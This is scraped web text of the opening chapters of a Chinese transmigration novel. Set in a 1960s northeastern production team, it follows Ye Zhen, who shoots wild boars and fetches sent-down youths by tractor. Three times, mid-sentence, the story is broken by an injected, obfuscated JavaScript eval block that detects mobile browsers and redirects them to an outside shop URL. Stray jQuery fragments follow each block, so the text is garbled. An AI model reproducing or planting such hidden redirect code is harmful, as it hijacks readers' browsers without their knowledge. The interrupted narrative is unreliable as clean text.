《万人嫌到六零年代后》
1. 野猪下山
亭亭白桦,悠悠碧空,微微春风轻抚脸颊,叶榛一手拎着一篮榆钱,一手拿着长绳铁钩,慢慢悠悠穿过宛如涂上银霜的白桦林就到了永安生产队。
永安生产队原本叫永安屯,地处关外,建国后农改永安屯摇身一变成了永安生产队,村民就都成了社员。
不过叶榛是从两年前才成为生产队一员。
两年前,一九六五年盛夏时节,叶榛满腔热血准备参加中考,她舅找到她爹妈说孩儿要是考上还不得留城里。
叶榛是独生女,父母希望她养老,因此担心她一去不回。又有邻居敲边鼓,亲戚起哄架秧子,仿佛叶榛已经弃家人而去,叶榛的爷爷决定不考了,等两年他退休叫叶榛接班。
叶榛的爷爷是老邮差,叶榛接班的话就得像他一样风里来雨里去翻山越岭送邮件。叶榛不愿意,撞墙绝食,什么法子都试一遍,不出意外呼吸一度暂停。叶榛醒来便不再是原来的叶榛。
现在的叶榛上辈子生在二十一世纪,长在国家富强的年代,但自小不受待见,无论做什么都被家人嫌弃,在一次全家旅游途中下水救人,她刚把人拖出水面就听到父母的咒骂,骂她不长脑子瞎逞能。叶榛心冷,放任自己沉入水底。
谁也没想到她能活过来,还穿到六十年代同名的叶榛身上。
叶榛“死而复生”后,叶家人不敢阻止她参加中考,可考试时间过了。不巧第二年正是六六年,太乱,什么考试都停了。
叶家人心怀愧疚,对叶榛百依百顺。以前从未感受过家庭温暖的叶榛不忍心怪他们。再说也没法怪——叶家长辈生长在战乱年代,家境贫寒,她便宜爹妈和爷奶四人凑不够小学五年教育,眼界搁这儿,能高瞻远瞩才反常。
叶榛呢,上辈子很想脱离原生家庭,可无论换多少手机号都能被她姐和爹妈找到,这才选择结束自己年轻的生命。如今机会来了,叶榛自然不想死!
好在叶榛有原主记忆,慢慢融合学习,起初偶尔锄掉一株豆苗也被认为她因为闹绝食伤了身体,手上无力没拿稳锄头,以至于六七百天过去,一直没人发现她不是她。
现在的叶榛已经完美融入这片黑土地。
随着叶榛走进生产队,跟她打招呼的声音此起彼伏,她只觉着烦。
原来的叶榛闹绝食,亲戚邻居都提醒她父母孩子不能惯,不然以后没人敢娶。叶榛的脑袋撞墙上昏过去,又说她装。虽然也有乡亲同情叶榛,看她没了呼吸惊慌失措叫人开拖拉机送她去卫生院,可人都死了才紧张——晚了!
所以叶榛一视同仁,谁也不搭理,冷着一张脸直接回家。
邻居忍不住指指点点:“这孩儿算是被老叶头惯坏了,以后够老叶家受的。”
邻居的邻居拎着粪筐出来:“少说两句吧。不是你天天劝老叶叔不能让她考学,老叶叔能把孩儿关屋里,连啥时候磕着脑袋的都不知道!”
“别胡咧咧!”邻居下意识朝叶家看去,一见门口空无一人,叶榛早进屋了,她松了一口气,“我随口一说,谁能想到他当真!叶家要不怕叶榛有本事留城里,我说破天也没用!说白了还是他们自己不想让叶榛考学!”
叶家邻居的邻居一口气堵在嗓子眼,憋得胸口痛,想提醒她两年前可没少显摆自己有本事,老叶家一大家子都听她的。
“有你遭报应的时候!”粪倒粪坑里,邻居的邻居掉头回家。
叶家邻居大吼:“咒谁遭报应?给我说清楚!站住!”
……
吵嚷声传到叶家院里,叶榛的妈讪笑着从厨房出来:“榛儿回来了?给我吧。”小心翼翼接走篮子和掰树枝的长绳铁钩,柔声关心,“累不累啊?没遇到野猪吧?”
“没有!”
永安生产队依山傍水地理位置不错,但也有个问题——东北地广人稀,鸟兽成群,时有狼群出没,野猪还经常下山。因此政府就没收队里的土枪。叶家就有一把老猎枪。
叶榛只带着篮子和长绳铁钩去摘榆钱,不怪她妈不放心。
再说榆钱,叶家院里也有。可架不住人多,叶榛的爷奶、小叔一家四口和未出嫁的小姑,再加上叶榛一家三口,枝繁叶茂的百年老树也不够吃。
叶榛早上起来没啥事,不想搁家呆着,就去离家二三里的山脚下摘榆钱。
叶妈闻言仍不放心,又上上下下打量一番叶榛,确定闺女身上没伤着就说,“去洗把脸歇一会儿。”
叶榛不咸不淡地“嗯”一声。
说起来叶家不欠现在的叶榛什么。叶榛理智上能理解家人的无知,她本人也不怕在乡下务农,只是一想到原来的叶榛都没活到成年就无法笑对家人。
这一点怕是只能留给时间慢慢冲淡。
叶榛的小姑见她这样不禁冷哼一声,想说“摆着一张臭脸给谁看。”叶妈一把把小姑子拉进厨房:“中午吃榆钱疙瘩汤?”
“大嫂,你闺女想干嘛?”叶小姑不答反问,很不耐烦,“多久了气还没消?一个中考没考成跟全家都欠她一样。我高考没考成找谁说理去!”
烧火的叶家小婶忍不住说:“你没考成是国家政策变了,有全国高中生给你作伴。榛儿是能考你们不让考!”
叶榛的小姑不禁反驳:“当时怎么不说?现在想起来充好人!”
叶小婶脱口道:“亲家舅舅找上门,大嫂都不得不听他的,让我说啥?”
叶榛的小姑语塞,叶榛的妈无地自容,叶榛的爷爷推着邮局的自行车从厨房隔壁厢房出来:“这事谁都不怨,怨我!以后不许再提!我已经跟人商量好,到秋榛儿就去供销社上班!”
整个叶家安静下来。
叶榛在厨房对面卧室里把露水浸湿的鞋换下来,正准备拿出去晾晒,闻言手里的鞋啪嗒掉地上——供销社的肥差能轮到她一个农村人?老叶头不是诓她吧。
叶妈不敢置信,叶小婶喜出望外,替叶榛感到高兴。叶榛的小姑飞出来:“爹,你说啥?供销社?”
叶爷爷见状心中一惊,下意识说:“临时工!”
“供销社的临时工也比邮局正式工待遇好。”叶小姑到她爹跟前,一脸好奇,“谁给办的?咱家还有这门路?”
叶爷爷的路子广着呢。
建国前叶爷爷当了几年交通员,建国后可以转到明面上,政府问叶榛的爷爷要不要去公安局,叶爷爷认为他年龄不小还不会查案,不想给政府添麻烦就选择去邮局。
叶爷爷和老伴担心城里有特务,被儿女知道后走漏了风声遭报复,所以夫妻俩从来没和家人提过这事。
亲戚邻居只当叶爷爷走了狗屎运谋个邮局的缺儿。
以前叶爷爷的老友问他要不要给儿女安排工作。叶爷爷一想几个儿女的德行,无论做啥工作都有可能连累家人,就谢绝老友的好意。
平日里叶爷爷也没麻烦过当官的老友,导致人家总想帮他。所以不久前为了孙女去老友家,他一开口人家就答应下来。
叶爷爷担心节外生枝,半真半假道:“我一个老同事,他家亲戚在供销社有点关系。问这干啥?”
叶小姑不禁说:“拐了几道弯的亲戚啊?这事能成吗?离入秋还有几个月,万一被人——”
叶小婶把木柴往锅底下一塞,大步出来:“就不能盼她点好?”
叶小姑下意识看她爹,老叶头没好气地瞪闺女:“怕被人顶走你还不小点声?”
“对啊!”叶小姑注意到从堂屋出来的俩侄子侄女,就问他俩听到啥了。俩小孩在屋里翻花绳,听到嚷嚷声以为长辈们要演全武行,着急忙慌出来看热闹,啥也没注意。
叶小姑看到他俩摇头,就问:“我娘和大哥二哥呢?”
叶榛的小婶道:“咱娘捡柴去了。你大哥二哥在南边挖沟。”
春种在即,永安生产队的大老爷们儿这些天都在地头上挖沟蓄水。叶小姑道:“回头跟他们说一声,不要逢人就显摆。”转向靠在对面门边的大侄女:“高兴了?”
叶榛淡淡地瞥她一眼转身回屋。
叶小姑跳起来撸袖子:“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234316|151377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这暴脾气,都别拦我——”
“谁拦你!”叶榛的小婶白了她一眼,“有能耐直接过去跟她打,我倒要看看谁打谁!”
叶小姑瞬间偃旗息鼓。
叶榛没有兄弟姐妹,堂弟堂妹又比她小太多,叶榛的爷爷担心他死后俩儿子不顶事,孙女被婆家欺负,所以打小就把她当顶门立户的长孙培养。
以前放学回来就跟她爷学骑车,星期天被她爷送到邮局跟退伍军人学拳脚。农忙时节牵着老牛跟她爷学犁地。老叶头帮生产队开拖拉机拉石磙压场也把叶榛带上,教她开车。
原来的叶榛敢绝食大闹也是认为家人疼她一定会妥协。可所有人都跟被鬼迷了心似的,不管她怎么闹都没用。
如今叶榛不说十项全能,也精通八项。虽然她身材纤细,但她个高,比她姑高半头,手臂有力,收拾她姑跟玩似的。
叶榛的小姑低声骂骂咧咧回厨房把窝窝头拿出来,叶妈去盛大碴子粥。
叶小婶在院里边洗手边使唤闺女:“去叫你爹和你大爷回来吃饭!”
叶榛的堂妹蹦蹦跳跳出去,小堂弟追上去:“姐,等等我!”
“你去干啥?”叶小婶大吼,“回来洗脸!”
小堂妹转身回来。叶小婶差点一口气没上来:“——没叫你!”
“妈,妈,野猪——”
“野猪下山了!快来人!野猪下山了!”
隔壁邻居尖锐的声音吓得俩小孩打个哆嗦,叶小婶的擦脸布掉地上,惊叫:“真不禁念叨!”
老叶头瞪一眼这节骨眼上还多话的小儿媳妇:“榛儿,拿枪!”
叶榛跑去爷奶卧室,抄起枪出来,叶小婶下意识拉一把:“别离太近,小心啊!”
“知道!”叶榛拨开她的手就上膛,到门外瞳孔紧缩,顾不上瞄准,砰一声,正中野猪眼睛,野猪痛疯了踹飞一捆树枝撞桃树上,叶榛慌忙把她奶拽过来。
小老太太疾呼:“我的柴——”
“命重要柴重要!”叶榛使劲把她拽到门口往院里一扔,架起猎枪又一下,发疯乱撞的野猪轰然倒地。
野猪不是头回下山,去年一年就有四五次,男女老少有经验,抡起铁叉敲着铜锣把野猪往一处撵,叶榛和几个会使枪的夹在中间趁机补枪,没过多久野猪抱头鼠窜滚出生产队。
紧张的乡亲们放松下来不禁抱怨:“这山上到底有多少野猪?去年打那么多回还敢来!这水稻还没种下去就下山,往后日子可咋过。”
叶榛的奶奶从院里出来:“就是!六零年没啥吃的也没见这些祸害下山!”
叶榛回头没好气地问:“野猪走了又不要柴了?”
老太太讪笑着:“我,我等会儿就收拾。”
“榛儿,娘,没事吧?”叶榛的爸拎着铁锨跑过来。
老太太不敢跟孙女顶嘴,还不敢骂儿子吗。
“有事!就等你回来给你娘送终!”
还能骂他说明没事。叶爸放心下来就问:“地里没啥吃的,还一大清早的,野猪咋下山了?”
大队长撑着铁锨道:“地里没吃的说明山上也没吃的,不得下山碰碰运气。”缓了一口气,问:“总共几头?”
担心野猪伤到人和家禽,撞破墙壁门窗,大家都只顾打野猪,虽然只是几分钟,可也累出一身汗,哪有心思数几头。
大队长一看没人理他也不尴尬,抄起铁锨挨个拍一下,以防野猪回光返照攻击他:“八头大的,两头小的,吃过饭大伙儿收拾收拾,各家分了补补身子好种地。”
小队长提醒:“您是不是忘了什么?”
“啥?”大队长下意识问。
小队长:“您得去火车站接知青啊。兵团农场不是跟您说过,这半年来的知青太多,农场要不了那么多,各生产队分分,咱们队分九个!”
大队长顿时一脑门官司,不由得叹了一口气,往四周看看,就属叶榛年龄小脸皮嫩好糊弄,“榛儿,南边的河沟得我盯着,走不开,你会开车,你去吧。”
2. 去接知青
叶榛转身回家。
大队长以为他说得不够清楚,下意识喊:“榛儿——”
“不去!”叶榛甩下两个字就进院。
大队长呼吸一顿,气得大吼:“老叶,你家——”
“孩子大了有自己的想法。”老叶一脸爱莫能助,“我可不敢当孩子的家。”
大队长不吃这套:“叶榛考学那年咋没见你这么说?”
哪壶不开提哪壶!老叶掉头就走。
叶榛她爸想打圆场,叶榛她叔跑回来,“榛儿那时候才十六,不对,十五岁半,懂个啥。”说完靠着树穿上跑掉一半的鞋。
大队长:“现在不也没成年?”
叶榛冬天生的,算起来才十七岁半。老叶头之前说叶榛去供销社当临时工,就是因为她还没成年。过了冬至满十八岁再给她转正。
大队长的话让叶榛的小叔语塞。
叶奶奶道:“咱大队又不是只有你和我家榛儿会开拖拉机。”
叶榛的叔脱掉鞋拎起来打量:“坏了,我回屋换双鞋。”说完就走。
依墙靠树歇息的几个年轻人眼中一亮,一个说他今儿得相亲,一个说得走亲戚,还有一个说家里来客走不开,话音落下立刻走人,恐怕耽搁一秒就被大队长叫住。
大队长气得跳脚骂娘。
小队长道:“我倒是没啥事,可我不敢用摇把啊。”
“你闭嘴吧。”大队长嫌他是个没出息的埋汰玩意儿。
叶榛家邻居眼珠一转,有个想法:“从咱们队到火车站不近啊。一来一回要半天。车开起来那小风一刮脸皴的跟老树皮一样谁爱去。有空在家歇着不好吗。”
大队长天天跟村里的老少爷们打交道,低头不见抬头见,谁不知道谁什么德行。他瞬间听出叶家邻居言外之意:“算半天工分!”
走远了的几个年轻人停下,回头问:“一天呢?”
“滚犊子!”大队长脱口而出。
几个年轻人转过身挥挥手各回各家。
叶榛的邻居道:“算一天工分,我叫——”
邻居的闺女打断:“你叫啥?爹又不敢开拖拉机!”
“我跟他一起去。”
“说得好像你会?离合、油门分得清吗!”
大队长皱着眉叫娘俩闭嘴,转向叶榛的奶奶:“榛儿年龄小,她过去想咋办咋办,逮住人打一顿也没人跟她计较,就叫榛儿去吧。”
老太太跟聋了一样,蹲下把被野猪踩散的树枝拢到一起,冲大儿子招招手,叶榛她爸把柴搬院里。叶榛的小婶把铁锨放墙边——农家不缺这玩意,放外面没人碰,然后提醒婆婆洗脸洗手准备吃饭。
其他社员闻言也嚷嚷着该吃饭了。
永安生产队分四个小队,叶榛所在的二小队队长问大队长:“那猪呢?”
“放这儿。饭后再说。”当务之急是安排人去火车站接知青。
大队长朝左右看去,会开车的都他娘走了,周围全是看热闹不嫌事大的老弱妇孺和一群没出息的壮劳力。
大队长怒气上头:“不回家吃饭瞅啥呢?”
社员们不怕他,嬉皮笑脸当没听见。
大队长眼前发黑险些气个仰倒!
明年选队长,这个大队长谁爱当谁当!
给这些老祖宗小祖宗当管家,他得折寿十年。
其实说起来也不怪乡亲们。
永安生产队南边两公里外有个农场,以前很多知识青年响应国家号召来到兵团农场,投身于垦荒事业。
二十年前永安屯到城里的路都是泥土里,一到下雨下雪就没法出行,小鬼子扫荡都不爱来。十年前知青和垦荒的军人把路修好,瓢泼大雨老叶头也可以骑车送件。
那个时候农场听说永安生产队缺老师,还安排两个知青给村里的孩子上课。其中一部分知青同农场军人结了婚就留下来,有一个现在还是永安小学校长。
得了知青这么多帮助,社员们自然很感激。
去年秋来了一火车知青,农场的车一趟拉不完,大队长听说这事主动提出开拖拉机套宽大的板车帮忙接。
好家伙,下了车就打起来,一个个跟乌眼鸡似的。打架的两拨知青被兵团营长按下去,没消停三天,跑到山上碰到狼群不躲,反而迎狼而上。
幸好附近生产队都有枪,听到狼嚎拎着枪过去把人救下来。
这还没完。
过了大半个月掰苞米,一群知青边掰边玩,不知道的还以为秋游呢。
生产队跟农场的地隔一条路,社员们看得一清二楚,因此对这批知青感官不好。苞米收上来开始挖种在旱地的红薯,白天看知青干活挺好,谁知晚上翻墙出来烤红薯。
大队长起夜闻到浓烟以为着火了,把老少爷们叫起来,跑到地里差点气晕——这些“祸害”祸害的是他们的红薯,不是农场的。
大队长跟小学校长聊“这批知青怎么了啊。”
这批知青天天在城里闹革命,天不怕地不怕,连老师爹妈都斗,能安安分分种地才怪。以前是表现好的知青下乡。去年高考停了,城里没那么多岗位,闲着惹事,知青的父母粮食定量也养不活那么多孩子,上面索性把他们都弄下乡。
老话说,学好千日不足,学歹一日有余。
有刺头坏种带头,可不是三天两头挑事吗。
农场首长发狠管几次,他们在农场消停了,可是出了农场一言难尽。
不久前叶榛家的鸭子丢一只,二队长家的鸡丢两只,叶榛的奶奶和二队长的娘绕着生产队破口大骂。骂太脏,大队长听不下去,暗示两人生产队没那么不讲究的人。
山上鸟兽多,队里有土枪,懒汉馋了可以上山弄两只野鸡,何必找骂,祖宗的棺材板都压不住了。
大队长的话让俩小老太太意识到这是知青干的。可死无对证,吃了哑巴亏心里膈应,愈发不待见新知青。
早几天大队长刚收到消息就给全体社员开会,问谁愿意让知青把户口挂他们家,一问一个不吱声。
知青下乡是连户口一起转过来。有的队里分的知青少品性不错,犯不着盖个知青点,就由队里条件好的住房宽裕的家庭接收。
大队长没办法只能带着社员把队里的两处老房子翻新一遍当男女知青点。炕灶都搞好,队长挨家挨户给知青们齐粮,社员们十分痛快,都不心疼粮食。
大队长哭笑不得!
……
大队长不想去火车站——浑身戾气的知青跟吃了枪药似的,他肯定忍不住动口又动手。这事要叫公社领导知道,又得给他上思想教育课——什么你身为老同志怎么这么大火气,这些知青年龄小不懂事,你多担待等等。
换成叶榛动粗,公社领导问责,他可以说“叶榛年龄小不懂事。”然后把公社领导怼的有口难言。
大队长想到这一点还是觉着唯有叶榛合适。大队长隔空指着看热闹的社员们,都给我等着,等我抽出空来收拾你们。
大队长整理一下打野猪搞乱的衣服,轻咳一声给自己鼓鼓劲儿就去叶家。
叶榛听到脚步声扭头看一下就低头喝粥。
黑土地种出的粮食香,叶家劳力多孩子少生活过得去,熬的粥浓稠,不像邻居家清汤寡水的,所以叶榛很喜欢。
大队长看着叶榛喝完一碗才抬头就调侃:“榛儿胃口真好。”
叶榛瞥他一眼去厨房盛半碗,然后就在厨房喝。喝完她把碗放洗碗盆里,擦擦嘴漱漱口去对面卧室。
叶家房子是坐北朝南六间正房和东西各三间厢房。她父母、爷奶和小婶小叔各两间正房,她、她姑和堂弟堂妹住东厢房,西厢房是厨房、杂物房和粮食放。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234317|151377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两边厢房南边还有牲口圈。
墙壁是高高的泥墙头,不是为了防贼,是为了防野兽。
家家户户都如此。
平时枪在她爷房中,她打算饭后用就先放自个房中。大队长跟叶榛的爷爷唠嗑,听到脚步声下意识往外看,慌忙起身——叶榛到院门口了。大队长赶紧叫她等一下:“一天工分。”
叶榛问:“开车是男人的活还是女人的活?”
这一点必须问清楚。男的比女的工分多,不少妇女同志因此跟大队长闹。比如过几天插秧,男女干活速度差不多,到秋收水稻,女的可能比男的割的快。
大队长不在意男女公分一样,他娘和他媳妇多几个工分,年底也能多分几毛分红。可大多数爷们不同意,尤其男多女少的家庭。
去年年底分账,几个女的就因为工分多少跟几个男的撕扯起来。大队长叫他们跟上面反应,还要开车送他们去,社员们不敢上告,此事才消停。
大队长怀疑叶榛故意给他添堵,顿时想自个去:“我不信找不到人!”
气哼哼到门外,正好叶家另一边邻居大哥出来,大队长立刻说:“算你一天工分,现在就给我去火车站等着。”
没头没尾的,邻居大哥愣了片刻才反应过来,他笑着说:“这么好的事你咋不去?当我傻啊!好处越多越麻烦!”
饭前嚷嚷着要去的邻居正想出来,闻言立刻退回屋里,跟闺女分析:“大队长那么精,出去半天算一天工分的好事自个不上,看来这次的知青跟去年那群一个德行!兴许等不到队里就得打起来!”
邻居的闺女不禁说:“那你还要跟我爹去?”
“不是没去吗。”邻居瞪一眼闺女,“就这记性好!天天叫你机灵点多去农场转转有机会嫁给转业军人,也没见你记住!”
她闺女卖个耳朵给她,扭身去厨房刷锅洗碗。
门外,叶榛拎着枪到大队长身边:“行吗?不行我走了啊。”
“我——”大队长说不出“我自个去”这句话,“你真是越大越不可爱。”
叶榛听出他妥协,旋身回院把猎枪递给从堂屋出来的小婶。递出去的那一刻叶榛又拿回来,朝外面问:“这儿到火车站二十多里路,有一段七八里连个鬼影子都没有——”
大队长明白她要说什么:“枪带上。但是,不许对着人!我要听说知青被你吓出个好歹,我扣你十天公分!”
叶小婶闻言不禁问:“榛儿,你一个人去啊?要不叫你小叔——”
大队长忙说:“老三去不算公分!”
叶榛的小叔在兄弟姐妹中行三,他上面还有一个大姐,村里人就喊她叔“老三”。
挖沟蓄水算工分。小婶闻言有些犹豫:“要不叫小月跟你一块?”
小月是叶榛七岁的堂妹,叶榛一脸无语。大队长头疼:“不是,她一个孩子去干啥?遇到野猪拦路,榛儿还得保护她。别裹乱!”
叶小月听到她的名字从屋里跑出来,到门外正好听到这句,理直气壮地说:“我可以帮我姐放哨!”
大队长不客气地说:“有你这么点的哨儿吗?”冲她婶摆摆手,赶紧把孩子带屋里去,“榛儿,走了!”
“等等!”
大队长开口想数落叶榛的小婶,回头一看叶榛的妈跑出来:“你又咋了?”
“路上风大。”叶妈踮起脚给叶榛戴上棉线帽,又塞给她一个棉大衣。
大衣是邮局发的。叶榛的爷爷有几件旧大衣,新的穿不着就分给家人。一个多月前大队长见叶榛穿过,一眼就认出来:“什么时节了?可别冻着你闺女。”
叶榛她妈无声地笑笑,又从裤兜里掏出手绢,洗的发白的手绢里头是一卷毛票,她数数不到五块钱,都塞大衣内口袋里头:“以防万一!”
大队长受不了:“出远门呢?”
3. 接到知青
叶榛瞥一眼大队长,仿佛说再吵吵我不去了。大队长干脆转过头,眼不见心不烦。叶榛对她妈她婶道:“这个时候地里都是人,回来还有知青作伴,没事的。”
叶小月仰头问:“那姐能不能给我买个糖稀?桃罐头也行。蹦苞米花也中。我啥都行!”
大队长忍无可忍:“你啥也不吃!”拽着叶榛就走,“一天天的活不干净想着吃!还蹦的苞米花,牙咋不给你蹦掉。”
叶小月气得小脸通红,张口结舌:“你你你不吃你的牙咋没留住?是你不想吗?”
大队长停下:“小犊子,说啥呢?”
叶小月不敢重复,又不想认怂:“一天天的,啥也不是!”说完就往屋里跑。
大队长张张口,指着看热闹的妯娌二人:“——惯吧!”
叶榛问:“去不去?”
“去!”大队长有心思跟叶小月个小崽子斗嘴是因为还有时间。
叶榛给车加满油,又把枪和半塑料桶柴油放好,开着车慢悠悠到火车站,离火车站近的生产队还没来人。
又过十分钟才有几辆牛车过来,驾车的人无一不是男人。
下车把牛栓树桩上,几人朝叶榛走去,很是羡慕地问:“永安生产队的吧?”
叶榛“嗯”一声点点头。问话的人因为自个记性好得意的笑了:“一看就是。这一片就你们生产队有拖拉机。”到叶榛跟前递出他卷的烟,“不定啥时候能来,来一根,慢慢等。”
叶榛愣住。
“不抽烟啊?”递烟的大爷摇头,“小伙儿,你这可不行,大老爷们哪能不会抽烟。”
叶榛就想解释,大爷旁边的大叔不确定地问:“这是姑娘吧?”
大爷手抖,卷烟差点掉地上。
叶榛嫌帽子碍事扔车座上,她身高腿长,留着利落的短发,裹着男式大衣,双眼黑亮,鼻梁高挺,小脸白净,还有婴儿肥,大爷本能认为她是个十七八岁的小子,跟他老姑娘挺般配,就想套近乎,过几年顺其自然成了好事。
叶榛点点头,大爷手又一抖,卷烟终于掉地上。
认出叶榛的大叔想笑:“老哥啊,啥眼神,这姑娘还不是旁人,往咱们几个生产队送信的老叶同志的大孙女。”
今儿来的几个生产队都是帮农场安排知青的,都离农场不远,都在火车站北边,而老叶同志就负责这一片的邮件。
以前叶榛年龄小,农忙时节无人照看,老叶就驮着她送邮件。叶榛等比例长大,见过她的人稍稍留点心都能一眼认出她。
大爷闻言恍然大悟:“难怪我觉着这小——这姑娘面善。原来早些年见过。可——”指着叶榛身后拖拉机,“就你自己啊?”
叶榛点头。
“哎呦我天!真有本事。”大爷说出来一脸可惜,怎么就不是个小子。
要是小子,回头他亲自上叶家提亲!
捡起卷烟的大叔把烟递过去:“老哥,哈喇子收一收。”
大爷下意识摸摸嘴巴,啥也没摸到,抄起腰间的烟袋锅子招呼他:“埋汰谁——”
咣当咣当声传过来,几人循着声音看去,火车头越来越近。大爷咂一声:“竟然没晚点。”
原来不欢迎新知青的不止我们生产队啊。叶榛莫名想笑:“大爷,你这牛车拉不了几个人吧?”
“这姑娘,你直接问,大爷能不告诉你。”大爷把烟斗往腰间一别,“我们生产队离山远,不能靠山吃山,不如你们生产队富裕,分五个。”指着其他三人,“这个三个,这个四个,那边六个。”
叶榛诧异:“就这么点?”
“还少啊?”大爷话音落下,一辆运输车过来。
叶榛下意识捂嘴眯眼,尘土飘散她才放下手。车上下来俩人,其中一位三十岁左右的男同志看到叶榛直皱眉:“你自个来的?”
叶榛点头:“我们队这几天挖沟蓄水,会开车的男人都不得闲。”
“也不差这一会儿。”男同志眼底的担心快溢出来,“回头跟我们一起走?”
跟在后面吃土吗?叶榛微微摇头:“不用。我经常拉社员进城卖东西,这条路我熟。”
拖拉机比运输车慢多了,等叶榛的话他们得慢慢晃悠,估计知青不乐意。男同志犹豫片刻,又见有外人,不好说别的:“那你小心,别开太快!”
“等一下!”叶榛叫住他,“知青是随机分还是怎么着?”
上面让农场接收,可农场有拖拉机和收割机,不需要那么多人。农场的粮食需要上交支援贫困地区,去年留的粮食也养不活那么多人,所以不得不把人分出去。
可也不能等知青到这里再告知啊。
男同志道:“上车前分好了。遵循自愿原则。”说完就进站。
其实火车站就是几间休息室和办公室加一个大院,叶榛的拖拉机可以进去,但倒车麻烦,不如外面宽敞。
牛车也可以进去,但没有树桩栓牛。再说了,牛拉院里影响不好,所以都把车停外面。
大爷等四人走远就问叶榛:“那位同志啥意思?知青自个选的?”
叶榛点头。
“这样好啊。愿意去我们生产队的知青肯定都不怕吃苦。”
叶榛心说,就怕他们是因为兵团规矩多而选生产队。
另外三人脸色微变,显然想到这一点。可他们也怕分到几个刺头,担心一语成谶所以不约而同地把话咽回去,祈祷分给他们的知青个个遵纪守法吃苦耐劳。
农场同志说上车前分好了并不是诓叶榛。知青们下了车,农场的同志说“永安生产队的出去找拖拉机。”话音落下没三分钟,九个男女拎着大包小包挎着书包背着棉被出来。
大爷眼前一亮,道:“这几个不错,看着就精神能干活。”
你当买猪呢。叶榛有点无语,举起手臂喊:“这里!”
九人到跟前愣了愣神,这人怎么看起来还没他们大啊。在最前面的男知青不确定地问:“你来接我们?”
叶榛点头。
落到最后的女知青陈菀菀震惊,这么好看水嫩的小哥哥文中居然提都没提!
天杀的作者!
不怪陈菀菀这样愤怒。
别人穿越要么工作太累猝死,要么救人牺牲。甭管怎么着都值!她呢,熬夜看小说,说出去谁信呢?这么死了多憋屈?陈菀菀自个都不好意思提。
要是这样也就算了,她认命!好巧不巧穿到下乡名额定下来之后的下乡前几天,想闪婚留在城里都没时间找人。
唯一值得庆幸的是陈菀菀穿到她睡前看的年代文中,大概情节都记得,不至于两眼一抹黑。
也幸好她是年代文大佬原配的同学之一,不是极品反派,而是着墨不多的路人甲。
文中大佬原配在兵团农场遇到还没成为大佬的男主,但她受不了农场的苦,一有机会就离婚回城,后因嫌贫爱富自以为是惨死。
原配死后重生到下乡前几天,陈菀菀算过,应该跟她同一天。文中陈菀菀跟她到了农场。这次陈菀菀改去农村生产队,除了不想掺和她的事,还有个重要原因,文中一笔带过的孙解放和他好友明杭生都是原配前世费尽心机也攀不上的人物。
更巧的是俩人也是陈菀菀的高中同学。二选一,近水楼台先得月不香吗。不过陈菀菀目前还没行动,是因为孙解放家贫后发达,选他前期吃苦,后者一直衣食无忧,但不知道什么原因正值壮年选择自杀——陈菀菀不想吃苦,又担心搞不定要自杀的人,所以犹豫不决。
作者要说还有一个,她至于纠结一路吗。
文中没提过这小哥哥,难道因为他在村里跟农场扯不上关系。
他看起来就被家人养得很好,兴许是大队长的小儿子或大孙子。陈菀菀决定就他了。陈菀菀拎着行李挤到前面,同班女同学眼睛放光,跟头狼遇到肉似的,陈菀菀脸色微变,不是吧?农村村草也有人抢啊。
转念一想,这说明她眼光不错。陈菀菀抢先道:“同志,我叫陈菀菀,您怎么称呼?”
“叶榛!”叶榛问:“没落下什么东西吧?那上车吧。”
陈菀菀想说行李太重麻烦他帮忙,突然身体一晃,她被同学挤开,对方还不要脸的凑到叶榛跟前:“是纯真的真吗?你的名字真好听。”
陈菀菀一阵恶寒。
难怪网上说老一辈保守又开放——思想保守,行为开放!
明明在最前面,生生被俩女同学挤到中间的班长孙解放哭笑不得,至于吗?
叶榛也纳闷,我认识这同学吗?干嘛一副他乡遇故知的眼神盯着她。叶榛想问出口,远处白桦林送来的风一阵接一阵,不至于让人着凉,可掀起的尘土烦人,叶榛顿时不想废话:“先上车!”转身去拿要把。
叶榛的大衣敞着怀,走路卷起一阵风,陈菀菀好狠没相机也没手机!
孙解放看她这样小声问:“有这么好看吗?”
“反正比你好看!”陈菀菀不希望被误会,同他拉开距离。
她女同学
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234318|151377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
闻言无意识地点头:“是呀。没想到东北这旮旯还有这么好看的人。”
孙解放顿时后悔多嘴。
“肤浅!
身后传来两个字,班长孙解放怀疑听错了,回头问戴着黑框眼镜的同学:“你说什么?”
“肤浅!”黑框眼镜男大声说。
叶榛不关心几人聊什么,可看样子要闹起来,立刻冷着脸问:“走不走!?”
“走!”
四个女知青的动作整齐划一,眨眼间就把行李放车上。叶榛过去帮忙放整齐,以免路不平颠掉。
